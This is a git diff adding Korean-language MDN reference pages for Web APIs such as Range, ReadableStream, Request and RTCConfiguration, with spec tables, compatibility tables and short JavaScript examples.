Returns a list of {{ domxref("ClientRect") }} objects that aggregates the results of {{ domxref("Element.getClientRects()") }} for all the elements in the Range.
+
{{ domxref("Range.intersectsNode()")}} {{experimental_inline}}
+
Returns a boolean indicating whether the given node intersects the Range.
+
{{ domxref("Range.isPointInRange()")}} {{experimental_inline}}
+
Returns a boolean indicating whether the given point is in the Range.
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#interface-range', 'Range')}}{{Spec2('DOM WHATWG')}}Do not use RangeException anymore, use DOMException instead.
+ Made the second parameter of collapse() optional.
+ Added the methods isPointInRange(), comparePoint(), and intersectsNode().
+ Added the constructor Range().
{{SpecName('DOM Parsing', '#extensions-to-the-range-interface', 'Extensions to Range')}}{{Spec2('DOM Parsing')}}Added the method createContextualFragment().
{{SpecName('CSSOM View', '#extensions-to-the-range-interface', 'Extensions to Range')}}{{Spec2('CSSOM View')}}Added the methods getClientRects() and getBoundingClientRect().
{{SpecName('DOM2 Traversal_Range', 'ranges.html#Level-2-Range-Interface', 'Range')}}{{Spec2('DOM2 Traversal_Range')}}Initial specification.
+ +

브라우저 호환성

+ +

{{Compat("api.Range")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/range/selectnodecontents/index.html b/files/ko/web/api/range/selectnodecontents/index.html new file mode 100644 index 0000000000..380d600622 --- /dev/null +++ b/files/ko/web/api/range/selectnodecontents/index.html @@ -0,0 +1,68 @@ +--- +title: Range.selectNodeContents() +slug: Web/API/Range/selectNodeContents +tags: + - API + - DOM + - Method + - Range +translation_of: Web/API/Range/selectNodeContents +--- +
{{ApiRef("DOM")}}
+ +

Range.selectNodeContents()는 {{domxref("Node")}}의 내용을 포함하는 {{domxref("Range")}}를 설정합니다.

+ +

부모 {{ domxref("Node") }} 의 start, end 값이 Reference가 됩니다. startOffset 은 0이고, endOffset 은 Child Node의 수 혹은 Reference Node에 포함되어 있는 Child Node의 수가 됩니다.

+ +

구문

+ +
range.selectNodeContents(referenceNode);
+
+ +

매개변수

+ +
+
referenceNode
+
{{ domxref("Range") }} 로 선택될 내용의 {{ domxref("Node") }} 
+
+ +

예제

+ +
range = document.createRange();
+referenceNode = document.getElementsByTagName("div")[0];
+range.selectNodeContents(referenceNode);
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#dom-range-selectnodecontents', 'Range.selectNodeContents()')}}{{Spec2('DOM WHATWG')}}No change.
{{SpecName('DOM2 Traversal_Range', 'ranges.html#Level2-Range-method-selectNodeContents', 'Range.selectNodeContents()')}}{{Spec2('DOM2 Traversal_Range')}}Initial specification.
+ +

브라우저 호환성

+ + + +

{{Compat("api.Range.selectNodeContents")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/readablestream/index.html b/files/ko/web/api/readablestream/index.html new file mode 100644 index 0000000000..6ad5bd8139 --- /dev/null +++ b/files/ko/web/api/readablestream/index.html @@ -0,0 +1,105 @@ +--- +title: ReadableStream +slug: Web/API/ReadableStream +translation_of: Web/API/ReadableStream +--- +

{{APIRef("Streams")}}

+ +

Streams APIReadableStream 인터페이스는 바이트 데이터를 읽을수 있는 스트림을 제공합니다. Fetch API는 Response 객체의 body 속성을 통하여 ReadableStream의 구체적인 인스턴스를 제공합니다.

+ +

Constructor

+ +
+
{{domxref("ReadableStream.ReadableStream", "ReadableStream()")}}
+
읽을수 있는 스트림 객체를 생성하고 리턴합니다.
+
+ +

Properties

+ +
+
{{domxref("ReadableStream.locked")}} {{readonlyInline}}
+
locked는 Readable stream이 reader에 고정되어 있는지(locaked to a reader) 확인하는 getter 입니다.
+
+ +

Methods

+ +
+
{{domxref("ReadableStream.cancel()")}}
+
+

스트림을 취소하여, 소비자가 스트림에 대해 관심이 없음을 알립니다. The supplied reason argument will be given to the underlying source, which may or may not use it.

+
+
{{domxref("ReadableStream.getReader()")}}
+
Reader를 만들고 스트림을 그 Reader에 고정 시킵니다. 스트림이 고정되어 있는 동안에는 다른 Reader를 얻을수 없습니다.
+
{{domxref("ReadableStream.pipeThrough()")}}
+
Provides a chainable way of piping the current stream through a transform stream or any other writable/readable pair.
+
{{domxref("ReadableStream.pipeTo()")}}
+
+

인자로 넘기는 {{domxref("WritableStream")}}과 현재의 ReadableStream을 연결하고 프로미스를 리턴합니다. 이 프로미스는 파이핑 프로세스가 성공적으로 완료될때 fullfil되며 애러가 발생했을때 reject됩니다.

+
+
{{domxref("ReadableStream.tee()")}}
+
The tee method tees this readable stream, returning a two-element array containing the two resulting branches as new {{domxref("ReadableStream")}} instances. Each of those streams receives the same incoming data.
+
+ +

Examples

+ +

아래 예시에서, 다른 리소스에서 fetch된 HTML 조각들을 스트림 하기위해 가공의 {{domxref("Response")}}를 만듭니다. 이것은{{domxref("Uint8Array")}}로 구성된 {{domxref("ReadableStream")}} 의 사용법을 보여줍니다.

+ +
fetch("https://www.example.org/").then((response) => {
+  const reader = response.body.getReader();
+  const stream = new ReadableStream({
+    start(controller) {
+      // 아래 함수는 각 data chunck를 다룬다.
+      function push() {
+        // "done"은 Boolean 이며 value는 "Uint8Array 이다."
+        reader.read().then(({ done, value }) => {
+          // 더이상 읽은 데이터가 없는가?
+          if (done) {
+            // 브라우저에게 데이터 전달이 끝났다고 알린다.
+            controller.close();
+            return;
+          }
+
+          // 데이터를 얻고 컨트롤러를 통하여 그 데이터를 브라우저에 넘긴다.
+          controller.enqueue(value);
+          push();
+        });
+      };
+
+      push();
+    }
+  });
+
+  return new Response(stream, { headers: { "Content-Type": "text/html" } });
+});
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Streams','#rs-class','ReadableStream')}}{{Spec2('Streams')}}Initial definition
+ +

Browser compatibility

+ +
+ + +

{{Compat("api.ReadableStream")}}

+
+ +

See Also

+ + diff --git a/files/ko/web/api/request/credentials/index.html b/files/ko/web/api/request/credentials/index.html new file mode 100644 index 0000000000..ed7186a6d9 --- /dev/null +++ b/files/ko/web/api/request/credentials/index.html @@ -0,0 +1,70 @@ +--- +title: Request.credentials +slug: Web/API/Request/credentials +tags: + - API + - Cookies + - Fetch + - Networking + - Property + - Reference + - Security + - credentials + - request +translation_of: Web/API/Request/credentials +--- +
{{APIRef("Fetch")}}
+ +

{{domxref("Request")}} 인터페이스의 credentials 읽기 전용 속성은 cross-origin 요청의 경우, user agent가 다른 도메인으로부터 cookie 들을 전달해야만 하는가 아닌가를 나타낸다. 이것은 XHR 의 withCredentials flag 과 비슷하지만, (2개가 아니라) 3가지 값이 사용 가능하다 :

+ + + +

Syntax

+ +
var myCred = request.credentials;
+ +

Value

+ +

이 transaction에 사용할 credentials 를 나타내는 {{domxref("RequestCredentials")}} 값

+ +

Example

+ +

다음의 snippet 에서, 우리는 {{domxref("Request.Request()")}} constructor 를 사용하여 (스크립트와 동일한 디렉토리의 이미지 파일을 위한) 새로운 요청(request)를 생성하고, 변수에 요청(request) credentials 을 저장한다.

+ +
var myRequest = new Request('flowers.jpg');
+var myCred = myRequest.credentials; // returns "same-origin" by default
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Fetch','#dom-request-credentials','credentials')}}{{Spec2('Fetch')}}Initial definition
+ +

Browser compatibility

+ + + +

{{Compat("api.Request.credentials")}}

+ +

See also

+ + diff --git a/files/ko/web/api/request/index.html b/files/ko/web/api/request/index.html new file mode 100644 index 0000000000..73eae676e6 --- /dev/null +++ b/files/ko/web/api/request/index.html @@ -0,0 +1,293 @@ +--- +title: Request +slug: Web/API/Request +translation_of: Web/API/Request +--- +
{{APIRef("Fetch")}}
+ +

Fetch API의 Request는 리퀘스트 리소스를 표현해주는 인터페이스입니다. 

+ +

{{domxref("Request.Request()")}} 생성자 메서드를 사용하는 것으로, 새로운 Request오브젝트를 생성할 수 있습니다. 이 인터페이스는 그리 자주 사용되지 않는 것으로 service worker의 {{domxref("FetchEvent.request")}}와 같은 별개의 API와 만나는 경우가 더 잦을 것입니다.

+ +

생성자

+ +
+
{{domxref("Request.Request()")}}
+
새로운 Request 객체를 생성합니다.
+
+ +

프로퍼티

+ +
+
{{domxref("Request.method")}} {{readonlyInline}}
+
Request 메서드 (GET, POST 같은것들)을 포함합니다.
+
{{domxref("Request.url")}} {{readonlyInline}}
+
Request의 URL을 포함합니다.
+
{{domxref("Request.headers")}} {{readonlyInline}}
+
Request의 {{domxref("Headers")}}와 관련된 정보를 포함하고 있습니다.
+
{{domxref("Request.context")}} {{readonlyInline}} {{deprecated_inline()}}
+
리퀘스트의 컨텍스트 (예: audio, image, iframe)을 포함하고 잇습니다.
+
{{domxref("Request.referrer")}} {{readonlyInline}}
+
리퀘스트의 referrer 정보 (예:client)을 포함하고 있습니다.
+
{{domxref("Request.referrerPolicy")}} {{readonlyInline}}
+
Request의 referrer policy 정보 (예: no-referrer)를 포함하고 있습니다.
+
{{domxref("Request.mode")}} {{readonlyInline}}
+
Request의 모드를 (예: cors, no-cors, same-origin, navigate) 포함하고 있습니다.
+
{{domxref("Request.credentials")}} {{readonlyInline}}
+
Request의 자격 증명서(credentials)  (예: omit, same-origin)를 포함하고 있습니다.
+
{{domxref("Request.redirect")}} {{readonlyinline}}
+
Request의 처리 방법을 위한 모드 (예: follow, error, or manual)를 포함합니다.
+
{{domxref("Request.integrity")}} {{readonlyInline}}
+
리퀘스트의 subresource integrity 해쉬값(예:sha256-BpfBw7ivV8q2jLiT13fxDYAe2tJllusRSZ273h2nFSE=)을 포함합니다.
+
{{domxref("Request.cache")}} {{readonlyInline}}
+
Request의 캐시모드를 (예: default, reload, no-cache) 포함합니다.
+
+ +

Request는 {{domxref("Body")}}를 구현하고 있으므로 다음 프로퍼티 또한 사용 가능합니다.

+ +
+
{{domxref("Body.body")}} {{readonlyInline}}
+
{{domxref("ReadableStream")}}을 바디 컨텐츠로 가져올 수 있는 간단한 게터 프로퍼티입니다.
+
{{domxref("Body.bodyUsed")}} {{readonlyInline}}
+
Response에서 바디가 사용되었는가의 여부를 {{domxref("Boolean")}} 형태로 표시합니다.
+
+ +

메서드

+ +
+
{{domxref("Request.clone()")}}
+
Request의 복사본을 생성합니다.
+
+ +

Request는 {{domxref("Body")}}를 구현하고 있으므로 다음 프로퍼티 또한 사용 가능합니다.

+ +
+
{{domxref("Body.arrayBuffer()")}}
+
{{domxref("ArrayBuffer")}}에 대한 결정(resolve 상태인 Promise객체가 반환됩니다.
+
{{domxref("Body.blob()")}}
+
{{domxref("Blob")}}에 대한 결정(resolve 상태인 Promise객체가 반환됩니다.
+
{{domxref("Body.formData()")}}
+
{{domxref("FormData")}}에 대한 결정(resolve 상태인 Promise객체가 반환됩니다.
+
{{domxref("Body.json()")}}
+
{{domxref("JSON")}}에 대한 결정(resolve 상태인 Promise객체가 반환됩니다.
+
{{domxref("Body.text()")}}
+
{{domxref("USVString")}}에 대한 결정(resolve 상태인 Promise객체가 반환됩니다.
+
+ +
+

Note: {{domxref("Body")}} 함수는 한번밖에 실행할 수 없습니다. 두번째부터는 빈 문자열, 혹은 ArrayBuffer이 반환됩니다.

+
+ +

예시

+ +

다음의 예시들은 Request를 이용해 스크립트와 같은 디렉터리에 존재하는 사진의 여러가지 정보를 불러오는 방법입니다. Request() 생성자를 사용하여 새로운 Request를 생성하여 몇몇 몇 프로퍼티를 반환합니다.

+ +
const myRequest = new Request('http://localhost/flowers.jpg');
+
+const myURL = myRequest.url; // http://localhost/flowers.jpg
+const myMethod = myRequest.method; // GET
+const myCred = myRequest.credentials; // omit
+
+ +

{{domxref("GlobalFetch.fetch()")}}의 매개변수에 Request 객체를 전달하는것으로 then 파라미터를 이끌어낼 수 있습니다. 아래는 그에대한 예시입니다.

+ +
fetch(myRequest)
+  .then(response => response.blob())
+  .then(blob => {
+    myImage.src = URL.createObjectURL(blob);
+  });
+ +

아래는 Body Payload가 필요한 API 요청을 다루는 예시입니다.  Request() 생성자를 사용하여 초기 데이터 및 본문 내용이 포함 된새 요청을 만듭니다.

+ +

 

+ +

아래는 Body Payload가 필요한 API 요청을 다루는 예시입니다.  Request() 생성자를 사용하여 초기 데이터와 Body의 컨텐츠를 읽어올 수 있습니다.

+ +
const myRequest = new Request('http://localhost/api', {method: 'POST', body: '{"foo":"bar"}'});
+
+const myURL = myRequest.url; // http://localhost/api
+const myMethod = myRequest.method; // POST
+const myCred = myRequest.credentials; // omit
+const bodyUsed = myRequest.bodyUsed; // true
+
+ +
+

Note: Body의 타입은 {{domxref("Blob")}}, {{domxref("BufferSource")}}, {{domxref("FormData")}}, {{domxref("URLSearchParams")}}, {{domxref("USVString")}} 혹은 {{domxref("ReadableStream")}}로만 올 수 있습니다.  따라서 payload에 JSON객체를 추가하려면 해당 객체를 문자열로 지정할 수 있습니다.

+
+ +

그런 다음 Request 객체를 매개 변수로 {{domxref("GlobalFetch.fetch()")}} 호출에 전달하여 api 요청을 가져와 응답을 얻을 수 있습니다. 아래는 예시입니다.

+ +
fetch(myRequest)
+  .then(response => {
+    if (response.status === 200) {
+      return response.json();
+    } else {
+      throw new Error('Something went wrong on api server!');
+    }
+  })
+  .then(response => {
+    console.debug(response);
+    // ...
+  }).catch(error => {
+    console.error(error);
+  });
+ +

명세

+ + + + + + + + + + + + + + +
명세상태코멘트
{{SpecName('Fetch','#request-class','Request')}}{{Spec2('Fetch')}}Initial definition
+ +

브라우저 지원

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
기능ChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
기본 지원{{CompatChrome(42)}}{{CompatVersionUnknown}}{{CompatGeckoDesktop(39)}}
+ 34
{{CompatNo}}{{CompatOpera(28)}}{{CompatNo}}
Request.body.formData{{CompatChrome(60)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatNo}}{{CompatOpera(47)}}{{CompatNo}}
Request.integrity{{CompatChrome(46)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatOpera(33)}}{{CompatNo}}
Request.redirect{{CompatChrome(46)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatOpera(33)}}{{CompatNo}}
Constructor init can accept ReadableStream body{{CompatChrome(43)}}{{CompatVersionUnknown}}{{CompatNo}}[1]{{CompatNo}}{{CompatOpera(33)}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
기능Android WebviewChrome for AndroidEdgeFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
기본 지원{{CompatChrome(42)}}{{CompatChrome(42)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatOperaMobile(28)}}{{CompatNo}}
Request.body.formData{{CompatChrome(60)}}{{CompatChrome(60)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatNo}}{{CompatOperaMobile(47)}}{{CompatNo}}
Request.integrity{{CompatChrome(46)}}{{CompatChrome(46)}}{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatOperaMobile(33)}}{{CompatNo}}
Request.redirect{{CompatChrome(46)}}{{CompatChrome(46)}}{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatOperaMobile(33)}}{{CompatNo}}
Constructor init can accept ReadableStream body{{CompatChrome(43)}}{{CompatChrome(43)}}{{CompatVersionUnknown}}{{CompatNo}}[1]{{CompatNo}}{{CompatOperaMobile(33)}}{{CompatNo}}
+
+ +

[1] 읽기전용 스트림은 파이어폭스에서 사용 가능하며, dom.streams.enabled와 javascript.options.streams 설정에 숨어있습니다.

+ +

관련항목

+ + diff --git a/files/ko/web/api/request/request/index.html b/files/ko/web/api/request/request/index.html new file mode 100644 index 0000000000..0eab065ff9 --- /dev/null +++ b/files/ko/web/api/request/request/index.html @@ -0,0 +1,214 @@ +--- +title: Request() +slug: Web/API/Request/Request +translation_of: Web/API/Request/Request +--- +
{{APIRef("Fetch")}}
+ +

Request() 생성자는 새로운  {{domxref("Request")}} 객체를 생성하도록 도와줍니다.

+ +

문법

+ +
var myRequest = new Request(input, init);
+ +

파라미터

+ +
+
input
+
취득한 리소스를 정의합니다. 이하의 값을 파라미터로 넣을 수 있습니다. +
    +
  • 취득하고 싶은 리소스의 URL을 담은 {domxref("USVString")}}.
  • +
  • Request 객체의 클론 생성을 위해 입력할 {{domxref("Request")}} 객체. 기존의 request 객체로 새로운 동일한 객체를 생성할때, 다음과 같은 보안에 관련된 예외가 검출될 수 있습니다.
  • +
+
+
init {{optional_inline}}
+
리퀘스트를 적용할 커스텀 설정을 포함한 옵션오브젝트. 설정 가능한 옵션은 다음과 같습니다. +
    +
  • method: GET, POST과 같은 리퀘스트 메소드.
  • +
  • headers: {{domxref("Headers")}}객체 또는 {{domxref("ByteString")}}를 포함하는 리퀘스트에 추가하는 헤더.
  • +
  • body: 리퀘스트에 추가할 바디.  {{domxref("Blob")}}이나, {{domxref("BufferSource")}}, {{domxref("FormData")}}, {{domxref("URLSearchParams")}}, {{domxref("USVString")}}, 또한 {{domxref("ReadableStream")}} 객체를 사용할 수 있습니다.Request객체가 GET이나 HEAD메서드를 사용하는 경우, 바디를 포함하지 않습니다.
  • +
  • mode: Request에서 사용할 모드. cors, no-cors, same-origin, 또한 navigate이 사용 가능하며, 기본값은 cors입니다. 47버전 이전의 크롬에서는 기본값이 no-cors 이며 크롬 47버전 이후로 same-origin가 사용 가능하게 되었습니다.
  • +
  • credentials: Request에서 사용할 자격 증명서(Request Credential)입니다.omit, same-origin, 또는 include를 사용할 수 있습니다.기본값은 omit.이며, 크롬 47 이전의 기본값은 same-origin 입니다. 크롬 47 이후로부터include가 사용 가능하게 되었습니다.
  • +
  • cache: Request에서 사용할 cache mode 입니다.
  • +
  • redirect: Request에서 사용할 리다이렉트 모드입니다. follow, error, manual.이 사용 가능합니다. 크롬 47 이전 버전에서의 기본값은 manual 이며, 47 이후로부터 follow 가 사용 가능하게 되었습니다.
  • +
  • referrer: no-referrer나 client, URL을 지정하는 {{domxref("USVString")}}입니다.. 기본값은 client입니다.
  • +
  • integrity: sha256-BpfBw7ivV8q2jLiT13fxDYAe2tJllusRSZ273h2nFSE=같은 Request의 하위 리소스 무결성(subresource integrity) 값을 포함합니다.
  • +
+
+
+ +

에러

+ + + + + + + + + + + + + + +
타입내용
TypeErrorFirefox 43부터, http://user:password@example.com와 같인 credential을 포함하는 경우 Request() 는 타입 에러를 반환합니다.
+ +

예시

+ +

 

+ +

Fetch Request example에서는, 생성자를 사용해 새로운 Requst 객체를 생성하고 나서 {{domxref("GlobalFetch.fetch")}}인터페이스를 이용해 Request로 읽어온 결과를 취득하고 있습니다. 특정 사진을 가져와서 사용할 수 있게 만들기 위해서  MIME타입을 설정하고, Response의 {{domxref("Body.blob")}}를 반환합니다. 그 후로 오브젝트 URL을 생성해 {{htmlelement("img")}}요소를 표시하도록 합니다. Fetch Request live를 참고해주시기 바랍니다.

+ +
var myImage = document.querySelector('img');
+
+var myRequest = new Request('flowers.jpg');
+
+fetch(myRequest).then(function(response) {
+  return response.blob();
+}).then(function(response) {
+  var objectURL = URL.createObjectURL(response);
+  myImage.src = objectURL;
+});
+ +

Fetch Request with init example에서는 fetch()를 실행할 때 마다, init객체를 전달하는 것 이외에는 거의 동일한 기능을 수행합니다. Fetch Request init live 를 참조해주시기 바랍니다.

+ +
var myImage = document.querySelector('img');
+
+var myHeaders = new Headers();
+myHeaders.append('Content-Type', 'image/jpeg');
+
+var myInit = { method: 'GET',
+               headers: myHeaders,
+               mode: 'cors',
+               cache: 'default' };
+
+var myRequest = new Request('flowers.jpg',myInit);
+
+fetch(myRequest).then(function(response) {
+  ...
+});
+ +

동일한 효과를 얻기 위해 fetch 호출자에 init객체를 전달하는 것에 주목해주시기 바랍니다. 예를 들면...

+ +
fetch(myRequest,myInit).then(function(response) {
+  ...
+});
+ +

Request 객체ㅡ이 클론을 생성하기 위해서 Request() 생성자에 {{domxref("Request")}} 를 전달하고 있습니다.(이것은  {{domxref("Request.clone","clone()")}} 메서드의 호출자와 같습니다.)

+ +
var copy = new Request(myRequest);
+
+ +

노트:마지막의 예시는 ServiceWorkers안에서만 사용 가능합니다。

+ +

사용

+ + + + + + + + + + + + + + +
사용상태꼬릿말
{{SpecName('Fetch','#dom-request','Request()')}}{{Spec2('Fetch')}} 
+ +

브라우저 지원현황

+ +

{{ CompatibilityTable() }}

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
기능ChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
기본 서포트{{ CompatChrome(42.0) }} [1]
+  
{{ CompatGeckoDesktop(39)}} [2]{{ CompatNo }} +

29 [3]

+
{{ CompatNo }}
스트리밍 리스폰스 바디{{CompatChrome(43.0)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
기능AndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OS (Gecko)IE PhoneOpera MobileSafari MobileChrome for Android
기본 지원{{ CompatNo }}{{ CompatChrome(42) }} [1]{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}{{ CompatChrome(42.0) }} [1]
스트리밍 리스폰시브 바디{{CompatNo}}{{CompatChrome(43.0)}} {{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatChrome(43.0)}} 
+ +

[1] 초기 파라미터의 기본값의 일부는 Chrome 47부터 변경되었스빈다. 상세한 내용은 프로퍼티 섹션을 참고해주시기 바랍니다.

+ +

[2] 34는 설정에서 변경할 수 있습니다.

+ +

[3] 28는 설정에서 변경할 수 있습니다.

+ +

관련항목

+ + + +

 

+ + diff --git a/files/ko/web/api/rtcconfiguration/index.html b/files/ko/web/api/rtcconfiguration/index.html new file mode 100644 index 0000000000..bc578aaf53 --- /dev/null +++ b/files/ko/web/api/rtcconfiguration/index.html @@ -0,0 +1,97 @@ +--- +title: RTCConfiguration +slug: Web/API/RTCConfiguration +tags: + - API + - Dictionary + - Interface + - RTCConfiguration + - WebRTC +translation_of: Web/API/RTCConfiguration +--- +

{{APIRef("WebRTC")}}{{draft}}

+ +

RTCConfiguration는 {{domxref("RTCPeerConnection")}}의 설정에 대한 옵션들을 제공합니다. 연결이 처음으로 이루어질 때 {{domxref("RTCPeerConnection")}} 생성자에 전달되거나, 연결이 확립된 동안 설정을 확인하고 변경이 가능한{{domxref("RTCPeerConnection.getConfiguration()")}} 및 {{domxref("RTCPeerConnection.setConfiguration()")}} 메소드와 같이 사용됩니다.

+ +

옵션은 ICE 서버, 전달 셋팅, 그리고 identity 정보를 포함합니다.

+ +

속성

+ +
+
{{domxref("RTCConfiguration.bundlePolicy", "bundlePolicy")}} {{optional_inline}}
+
원격 피어가 SDP BUNDLE standard에 호환이 불가능할 때, 어떻게 candidate의 네고시에이션을 처리 할 것인지를 정의합니다. 이 옵션은 무조건 enum RTCBundlePolicy의 값들 중 하나여야만 합니다. 만약 이 값이 딕셔너리에 없으면, "balanced" 으로 지정됩니다.
+
{{domxref("RTCConfiguration.certificates", "certificates")}} {{optional_inline}}
+
인증을 위해 연결에서 사용되는 {{domxref("RTCCertificate")}} 타입의 객체의 {{jsxref("Array")}} 입니다. 이 속성이 정의되어있지 않으면, 각 {{domxref("RTCPeerConnection")}} 인스턴스별로 자동으로 인증서 모음이 생성됩니다. 하나의 연결에는 오직 한개의 인증서만 사용이 되지만, 여러 알고리즘들에 대해 다수의 인증서를 제공하는 방법으로 어떤 상황에서 우연치 않게 연결이 성공되는 경우를 줄일 수 있습니다. 아래는 {{anch("Using certificates")}}에 대한 추가 정보입니다. +
이 설정 옵션은 한 번 정의되면 변경이 불가능합니다. 한 번 인증서가 지정되면, 그 후 발생하는 {{domxref("RTCPeerConnection.setConfiguration()")}} 호출에서 이 속성이 무시됩니다.
+
+
{{domxref("RTCConfiguration.iceCandidatePoolSize", "iceCandidatePoolSize")}} {{optional_inline}}
+
미리 가져와진 ICE candidate pool의 크기를 정의하는 서명되지 않은 16-bit 정수 값. 기본 값은 0으로 candidate를 미리 가져오는 것이 발생하지 않음을 뜻함. 연결 시도를 시작하기전에 ICE 에이전트가 ICE candidates를 미리 가져오게 허용하면, candidate들은  {{domxref("RTCPeerConnection.setLocalDescription()")}} 호출로 이미 확인이 가능하게 되고, 이로 인해 몇몇 상황에서 연결이 더 빠르게 성립됩니다. +
ICE candidate pool의 크기 변경은 ICE 수집을 시작하게 만들 수 있습니다.
+
+
{{domxref("RTCConfiguration.iceServers", "iceServers")}} {{optional_inline}}
+
ICE 에이전트에 의해 이용될 수 있는 하나의 서버를 설명하는 {{domxref("RTCIceServer")}} 객체의 배열. 일반적으로 STUN 혹은 TURN 서버들입니다. 이 옵션이 정의가 안되어있으면, ICE 에이전트는 자체 ICE 서버를 선택하여 사용 할 수 있습니다. 자체 서버가 없다면, 연결은 사용 가능한 STUN 혹은 TURN 서버 없이 진행되고, 이는 로컬 피어와의 연결을 제한합니다. 
+
{{domxref("RTCConfiguration.iceTransportPolicy", "iceTransportPolicy")}} {{optional_inline}}
+
현재 ICE 전송 정책; 이는 RTCIceTransportPolicy enum에 존재하는 값입니다. 이 옵션이 정의가 안되어있으면, "all"로 설정됩니다.
+
{{domxref("RTCConfiguration.peerIdentity", "peerIdentity")}} {{optional_inline}}
+
{{domxref("RTCPeerConnection")}}에 대한 타겟 피어 identity를 명시하는 {{domxref("DOMString")}}. 이 값이 지정되어있으면, RTCPeerConnection은 주어진 이름으로 인증이 성공하지 않는 이상 원격 피어와 연결하지 않습니다. (기본 값은 null 입니다.) 
+
{{domxref("RTCConfiguration.rtcpMuxPolicy", "rtcpMuxPolicy")}} {{optional_inline}}
+
non-multiplexed RTCP를 지원하기 위해, ICE candidate를 수집 할 때 사용되는 RTCP mux 정책. 이 값은 RTCRtcpMuxPolicy enum.에 존재하는 값입니다. 기본 값은 "require"입니다.
+
+ +

상수

+ +

{{page("/en-US/docs/Web/API/RTCPeerConnection", "RTCBundlePolicy enum", 0, 1)}}

+ +

{{page("/en-US/docs/Web/API/RTCPeerConnection", "RTCIceTransportPolicy enum", 0, 1)}}

+ +

{{page("/en-US/docs/Web/API/RTCPeerConnection", "RTCRtcpMuxPolicy enum", 0, 1)}}

+ +

인증서 사용하기

+ +

RTCPeerConnection가 자동으로 생성하는 인증서 대신에, 사용자가 직접 {{domxref("RTCPeerConnection")}}을 위한 자체 인증서를 만들기를 원한다면 {{domxref("RTCPeerConnection.generateCertificate()")}} 호출 합니다. 

+ +

이 속성은 다중 인증서 제공을 지원합니다. 이는 주어진 DTLS 연결이 오직 하나의 인증서를 사용한다해도, 다중 인증서는 여러개의 암호화 알고리즘 지원을 허용하기 때문입니다. RTCPeerConnection의 구현은 DTLS 합의 중 결정된 알고리즘 및 원격 피어에 근거해서 어떤 인증서를 사용 할지 선택합니다.

+ +

인증서를 제공하지 않으면, 신규 인증서가 자동으로 생성이 됩니다. 사용자 자체의 identity 키를 제공하는 것의 한 가지 명백한 장점은 연속성입니다. 동일한 인증서를 이후 호출에도 사용하게되면, 원격 피어는 사용자가 같은 caller인지 알 수 있습니다. 또한, 새로운 인증키를 발급하지 않아도 됩니다. 

+ +

<<<link to added info on identity>>>

+ +

예시

+ +

아래 설정은 두개의 ICE 서버를 구축합니다. 첫 번째 서버, stun:stun.services.mozilla.com는 인증을 요구하기 때문에 유저 이름과 비밀번호를 제공합니다. 두 번째 서버는 두 개의 URL 주소가 있습니다: stun:stun.example.comstun:stun-1.example.com입니다.

+ +
var configuration = { iceServers: [{
+                          urls: "stun:stun.services.mozilla.com",
+                          username: "louis@mozilla.com",
+                          credential: "webrtcdemo"
+                      }, {
+                          urls: ["stun:stun.example.com", "stun:stun-1.example.com"]
+                      }]
+};
+
+var pc = new RTCPeerConnection(configuration);
+ +

사양서

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebRTC 1.0','#dom-rtcconfiguration','RTCConfiguration')}}{{Spec2('WebRTC 1.0')}}Initial definition.
+ +

브라우저 호환성

+ +
+ + +

{{Compat("api.RTCConfiguration")}}

+
diff --git a/files/ko/web/api/rtcdatachannelevent/channel/index.html b/files/ko/web/api/rtcdatachannelevent/channel/index.html new file mode 100644 index 0000000000..88c924f969 --- /dev/null +++ b/files/ko/web/api/rtcdatachannelevent/channel/index.html @@ -0,0 +1,63 @@ +--- +title: RTCDataChannelEvent.channel +slug: Web/API/RTCDataChannelEvent/channel +translation_of: Web/API/RTCDataChannelEvent/channel +--- +

{{APIRef("WebRTC")}}{{SeeCompatTable}}

+ +

읽기 속성인 RTCDataChannelEvent.channel는 {{domxref("RTCDataChannel")}}와 관련이 있는 이벤트를 반환합니다.

+ +

Syntax

+ +
 var channel = RTCDataChannelEvent.channel;
+ +

+ +

{{domxref("RTCDataChannel")}} 객체는 {{domxref("RTCPeerConnection")}}을 원격 피어와 연결해주는 데이터 채널을 알려줍니다.

+ +

예시

+ +

{{event("datachannel")}} 이벤트 핸들러 안 코드의 첫 줄에서 이벤트 객체의 채널을 가져오고, 이를 데이터 트래픽을 관리하는 코드에 사용 될 수 있도록 지역 변수로 저장합니다.

+ +
pc.ondatachannel = function(event) {
+  inboundDataChannel = event.channel;
+  inboundDataChannel.onmessage = handleIncomingMessage;
+  inboundDataChannel.onopen = handleChannelOpen;
+  inboundDataChannel.onclose = handleChannelClose;
+}
+
+ +

명세

